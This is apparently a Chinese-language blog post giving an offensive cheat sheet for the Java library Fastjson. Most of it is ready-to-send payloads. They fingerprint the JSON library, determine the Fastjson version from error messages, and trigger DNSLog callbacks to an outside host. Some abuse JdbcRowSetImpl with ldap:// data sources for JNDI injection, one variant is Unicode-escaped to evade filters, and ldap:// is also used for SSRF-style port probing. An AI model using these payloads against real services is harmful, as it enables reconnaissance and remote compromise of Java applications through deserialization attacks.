Zumpyx's Blog

Fastjson 利用手法

javafastjsonrce

json 库判断

  1. {"@type":"java.net.InetSocketAddress"{"address":,"val":"[dnslog]"}}
  2. {{"@type":"java.net.URL","val":"http://qvhkmkgcta.dgrh3.cn"}:"a"}

如果返回正常,并且收到 dnslog 请求,则说明目标使用的是 fastjson

  1. {"ext":"blue","name":{"$ref":"$.ext"}}

如果解析成功,则是 fastjson

  1. {"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}

如果可以解析 {"a": 1, "b": "EQ==", "c": [{}], "d": "\u0000\u0000"} 则说明是 fastjson

  1. {"@type": "whatever"}

如果报错 autoType is not support. whatever 则是 fastjson

  1. {"score": 1.1111111111111111111111111111111111111111111111111111111111111}

如果浮点数精度丢失,返回 1.11111111111111111112 则可能是 jackson、gson,否侧大概率是 fastjson

  1. {"age": 1}/*#test

如果不报错,大概率是 fastjson

  1. {"username": 'admin', "password": 'admin'}

json 数据使用单引号,不报错可能为 fastjson,报错可能是 jackson

  1. {"username": "admin", "password": "admin", "test": 1}

添加多余参数,不报错为 fastjson,类似 Unrecognized field "test" 的报错可能是 jackson

  1. #\r\n{"score":1.1}

结果返回 score: 1.1 为 gson

  1. {"username": '\r', "password": "admin"}

如果报错是 org.json: Unrecognized string at ... 则可能是 org.json

  1. {a:whatever}/*\r\nxxx

如果返回正确,或者返回值是 {"a":"whatever"} 则可能是 hutool.json

Fastjson 版本判断

从报错信息中判断版本

  1. {"@type":"java.lang.AutoCloseable"
  2. ["test":1]
[1.1.15 - 1.1.26]:
syntax error, expect {, actual EOF

[1.1.27 - 1.2.11]: # 显示行数
syntax error, expect {, actual EOF, pos 9

[1.2.12 - 1.2.24]:
type not match

[1.2.25 - 2.0.1]: # 报错显示具体的类
type not match. java.lang.AutoCloseable -> org.example.Main$User

[2.0.0+]: # fastjson2 以上会多一处报错
Caused by: com.alibaba.fastjson2.JSONException...

[2.0.1 - 2.0.5.graal]: 
error, offset 35, char

[2.0.9 - 2.0.12]: 
error, offset 35, char

[2.0.6 - 2.0.7]: 
illegal character

[2.0.8, 2.0.13 - 2.0.40]: # 会直接显示版本号
illegal character , offset 35, character , line 1, column 35, fastjson-version 2.0.8 {"@type":"java.lang.AutoCloseable"
  • JSON.parse(jsonData) 方法
[1.1.15 - 1.1.26]:
syntax error, expect {, actual EOF

[1.1.27 - 1.2.32]:
syntax error, expect {, actual EOF, pos 0

[1.2.33 - 2.0.40]: # 都会直接显示版本号
fastjson1: syntax error, expect {, actual EOF, pos 0, fastjson-version 1.2.83
fastjson2: Illegal syntax: , offset 34, character , line 1, column 35, fastjson-version 2.0.40 {"@type":"java.lang.AutoCloseable"

DNSLog 判断

  1. 正常参数:{"name":"admin","email":"admin","content":"admin"}
  • Payload
{
	"name":"admin",
	"email":"admin",
	"content":{
		"@type":"com.sun.rowset.JdbcRowSetImpl",
		"dataSourceName":"ldap://[dnslog]/POC",
		"autoCommit":true
	}
}

如果接收到 dnslog,则判断版本为:[1.1.15 - 1.2.24]

  1. {{"@type":"java.net.URL","val":"http://[dnslog]"}:"aaa"}

如果接收到 dnslog,则判断版本为:[1.2.37 - 1.2.83]

  1. {"username":{"@type":"java.net.InetAddress","val":"[dnslog]"}, "password":"admin"}

如果接收到 dnslog,则判断版本为:[1.2.9 - 1.2.47]

有可能会有 deserialize inet adress error 报错,但是 dnslog 可以正常接收,可以尝试多试几次。

  1. [{"@type":"java.lang.Class","val":"java.io.ByteArrayOutputStream"},{"@type":"java.io.ByteArrayOutputStream"},{"@type":"java.net.InetSocketAddress"{"address":,"val":"[dnslog]"}}]

如果接收到 dnslog,则判断版本为:[1.2.10 - 1.2.47],如果没有以下代码

ParserConfig.getGlobalInstance().addAccept("java.lang.Class");
ParserConfig.getGlobalInstance().addAccept("java.io.ByteArrayOutputStream");

1.2.47 以后的版本都会报错

  1. {"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://[dnslog]"}}""}

如果不报错、dnslog 无响应,则版本为:[1.2.9 - 1.2.36]

如果 dnslog 有响应,则版本为:[1.2.37 - 1.2.83]

  1. Set[{"@type":"java.net.URL","val":"http://[dnslog]"}]

dnslog 有响应,则版本为:[1.2.9 - 1.2.83]

  1. {"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}}

如果有报错,版本为:[1.2.25 - 1.2.80]

  1. {"page":{"pageNumber":1,"pageSize":1,"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}}

如果报错 autoType is not support. java.io.ByteArrayOutputStream,版本为:[1.2.69 - 1.2.83],否则:[1.2.24 - 1.2.68]

  1. {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl"}}

如果报错,版本为:[1.2.48 - 1.2.83],某些情况下 [1.2.24] 和 [1.2.47] 版本也会报错

  1. {"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}

只有 [1.2.24] 版本不报错

延迟判断

  1. {"regex":{"$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"},"blue":"aaa!"}

逐步增加 a 的数量,如果有延迟,则版本为:[1.2.36 - 1.2.63_noneautotype]

  1. 利用 ldap://[ip]:[port] 来判断端口开放情况,类似 ssrf
{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://1.2.3.4/test111","autoCommit":true}}

{"name":{"\u0040\u0074\u0079\u0070\u0065":"\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0043\u006c\u0061\u0073\u0073","\u0076\u0061\u006c":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c"},"x":{"\u0040\u0074\u0079\u0070\u0065":"\u0063\u006f\u006d\u002e\u0073\u0075\u006e\u002e\u0072\u006f\u0077\u0073\u0065\u0074\u002e\u004a\u0064\u0062\u0063\u0052\u006f\u0077\u0053\u0065\u0074\u0049\u006d\u0070\u006c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"ldap://127.0.0.1/test111","autoCommit":true}}

如果第一个响应时间很长,第二个响应时间很短,则版本为:[1.2.4 - 1.2.47]

  1. 1
{"username":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://1.2.3.4/POC","autoCommit":true}}

{"username":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://127.0.0.1/POC","autoCommit":true}}